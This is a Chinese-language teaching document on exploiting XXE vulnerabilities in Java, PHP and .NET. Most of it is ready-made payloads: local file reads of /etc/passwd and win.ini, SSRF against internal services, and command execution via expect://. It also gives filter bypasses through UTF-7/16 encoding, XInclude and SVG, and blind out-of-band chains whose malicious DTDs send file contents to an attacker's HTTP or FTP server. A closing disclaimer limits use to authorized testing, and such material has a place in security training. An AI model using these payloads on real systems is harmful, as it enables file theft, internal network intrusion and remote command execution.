XXE漏洞全方位利用技巧与防御绕过教学文档
1. 文档概述
XXE(XML External Entity Injection)是一种针对XML处理器的安全漏洞,攻击者通过构造恶意的外部实体声明,可导致文件读取、内网探测、服务端请求伪造(SSRF)、远程代码执行(RCE)等严重后果。本文档旨在系统性地阐述XXE漏洞在Java、PHP、.NET等不同环境下的高级利用技巧、绕过方法及无回显场景下的攻击手段。
2. Java环境下的XXE利用
Java的XML解析器功能强大,支持多种协议,但也因此带来了复杂的安全问题。
2.1 关键协议利用
| 协议 | 用途 | 说明与限制 |
|---|---|---|
file: |
读取本地文件系统 | 基础文件读取,受Java SecurityManager限制。 |
netdoc: |
读取本地文件系统 | 与file协议等同,是Java的遗留协议。 |
http(s): |
发起HTTP请求 | 用于SSRF攻击或外带数据。 |
jar: |
读取JAR包内文件 | 格式:jar:file:/path/to/archive.zip!/file.txt |
ftp: |
通过FTP外传数据 | 常用于无回显时外带文件内容,但高版本JDK限制严格。 |
2.2 高级技巧与绕过
-
UTF-16编码绕过
当系统过滤了<?xml等关键词时,可使用UTF-16编码进行绕过。<?xml version="1.0" encoding="UTF-16BE"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> ]> -
参数实体嵌套
用于绕过简单的关键词过滤或构造复杂攻击链。<!DOCTYPE root [ <!ENTITY % param1 "file:///etc/passwd"> <!ENTITY % param2 "<!ENTITY % exploit SYSTEM '%param1;'>"> %param2; ]> -
JDK版本差异与协议限制
- JDK 1.7u21 / 6u45 / 7u21:开始限制外部连接,禁用部分危险协议。
- JDK ≥ 8u191 / 7u201 / 6u211:默认禁用
netdoc协议,对ftp等协议的限制更加严格。
-
特殊文件与路径探测
- Linux:读取
/proc/self/environ获取环境变量。 - 网络信息:读取
/sys/class/net/eth0/address获取MAC地址。 - 内网探测:利用Windows UNC路径。
<!ENTITY xxe SYSTEM "file://///192.168.1.1/share/file">
- Linux:读取
-
XInclude二次触发
当常规DOCTYPE被禁用时,可尝试使用XInclude。<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </root>
3. PHP环境下的XXE利用
PHP的XXE利用因其支持的独特包装器而更具特色。
3.1 关键协议与包装器
| 协议/包装器 | 用途 | 说明 |
|---|---|---|
php://filter |
文件读取与编码 | 核心利用点,可转换文件内容为Base64,避免特殊字符破坏XML。 |
expect:// |
命令执行 | 需要安装并启用expect扩展,可执行系统命令。 |
http(s): |
SSRF/数据外带 | 同Java。 |
file: |
文件读取 | 基础文件读取。 |
3.2 高级技巧与绕过
-
使用php://filter读取文件
这是PHP环境下最常用且稳定的文件读取方法。<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> -
使用expect://执行命令(条件苛刻)
<!ENTITY xxe SYSTEM "expect://id"> -
UTF-7编码绕过
过滤<?xml时可用。<?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE+test+...+AD4- -
PHP解析器差异
- libxml:PHP默认解析器。在PHP < 8.0中,默认可能启用外部实体。应使用
libxml_disable_entity_loader(true)禁用。 - SimpleXML:使用
LIBXML_NOENT常量时会主动解析实体,容易引发漏洞。$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
- libxml:PHP默认解析器。在PHP < 8.0中,默认可能启用外部实体。应使用
4. .NET环境下的XXE利用
.NET框架的XML解析器同样存在风险,其利用方式与Java有相似之处。
4.1 不安全的配置
漏洞通常源于显式设置了不安全的XmlResolver。
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = new XmlUrlResolver(); // 危险配置!
xmlDoc.LoadXml(xml);
4.2 利用技巧
-
协议支持
file://:读取文件。http://:SSRF。- UNC路径:可用于探测内网SMB服务。
<!ENTITY xxe SYSTEM "\\192.168.1.1\share\file">
-
SVG文件绕过
上传SVG图片时,可能嵌入XXE载荷。<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini"> </svg> -
XInclude绕过
在禁用DTD时使用,与Java类似。
5. XXE漏洞利用情景详解
5.1 有回显(Classic XXE)
攻击结果直接显示在应用响应中。
- 文件读取:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <data>&xxe;</data> - SSRF:
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/internal-api"> - 命令执行(PHP + expect):
<!ENTITY xxe SYSTEM "expect://whoami">
5.2 无回显(Blind/Out-of-Band XXE)
攻击结果不直接显示,需要通过外部信道带出数据。这是更常见且技术性更强的场景。
-
盲注读取(HTTP外带)
这是最标准的无回显利用方式。- 主Payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://攻击者服务器/evil.dtd"> %remote; %int; %send; ]> - 恶意DTD(evil.dtd):
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://攻击者服务器:8888/?p=%file;'>"> - 流程:参数实体
%remote加载远程DTD ->%int定义攻击逻辑 ->%send触发HTTP请求,将文件内容作为URL参数发送给攻击者。
- 主Payload:
-
报错读取(Error-Based)
通过触发错误信息来回显文件内容。- 主Payload:
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://攻击者服务器/error.dtd"> %ext; ]> <message></message> - 恶意DTD(error.dtd):
系统尝试加载路径<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;file:///nonexistent/(文件内容),由于路径无效,会在错误信息中包含我们的文件内容。
- 主Payload:
-
FTP协议外带
当HTTP外带因特殊字符(如换行符)失败时,FTP是Java环境下的重要替代方案。- 需要工具:使用伪FTP服务器(如xxe-ftp-server)来接收数据。
- 恶意DTD:
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'ftp://攻击者IP:2121/%file;'>"> %eval; %error; - 限制:JDK版本 > 7u141/8u162 时,无法外带含换行符的文件。
-
利用本地DTD文件进行盲注(无外网连接)
这是最高级的技巧之一,适用于目标服务器无法访问外网,但存在已知本地DTD文件的情况。通过覆盖DTD文件中已存在的参数实体来触发错误或外带。- 原理:利用系统中已有的DTD文件,重新定义其中的某个参数实体,注入我们的攻击载荷。
- 示例(Windows):
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd"> <!ENTITY % SuperClass ' <!ENTITY % file SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> - 常用DTD路径:
- Windows:
C:/Windows/System32/wbem/xml/cim20.dtd,C:/Windows/System32/wbem/xml/wmi20.dtd - Linux:
/usr/share/yelp/dtd/docbookx.dtd,/usr/share/xml/fontconfig/fonts.dtd
- Windows:
6. 总结与关键点回顾
| 关键点 | 描述 |
|---|---|
| 环境差异性 | 不同语言/平台支持的协议和绕过方式不同(如Java的jar:, PHP的php://filter)。 |
| 无回显是主流 | 实战中Blind XXE更为常见,必须掌握HTTP/FTP外带及本地DTD利用技巧。 |
| 协议是核心 | 深刻理解file, http, ftp, jar, php://filter等协议的含义和限制。 |
| 版本很重要 | 尤其是JDK版本,直接影响ftp、netdoc等协议是否可用。 |
| 绕过需灵活 | 综合利用编码(UTF-7/16)、协议嵌套、参数实体、XInclude、SVG图像等多种方式。 |
| 工具辅助 | 无回显攻击需要搭建HTTP服务器接收数据,或使用伪FTP服务器(如xxe-ftp-server)。 |
免责声明与合规性提醒:
本文档所有技术内容仅限用于安全教学、授权渗透测试及企业自身安全建设。使用者应确保所有测试行为已获得相关方的明确授权,并严格遵守《中华人民共和国网络安全法》等法律法规。任何未经授权的攻击行为均属违法,后果自负。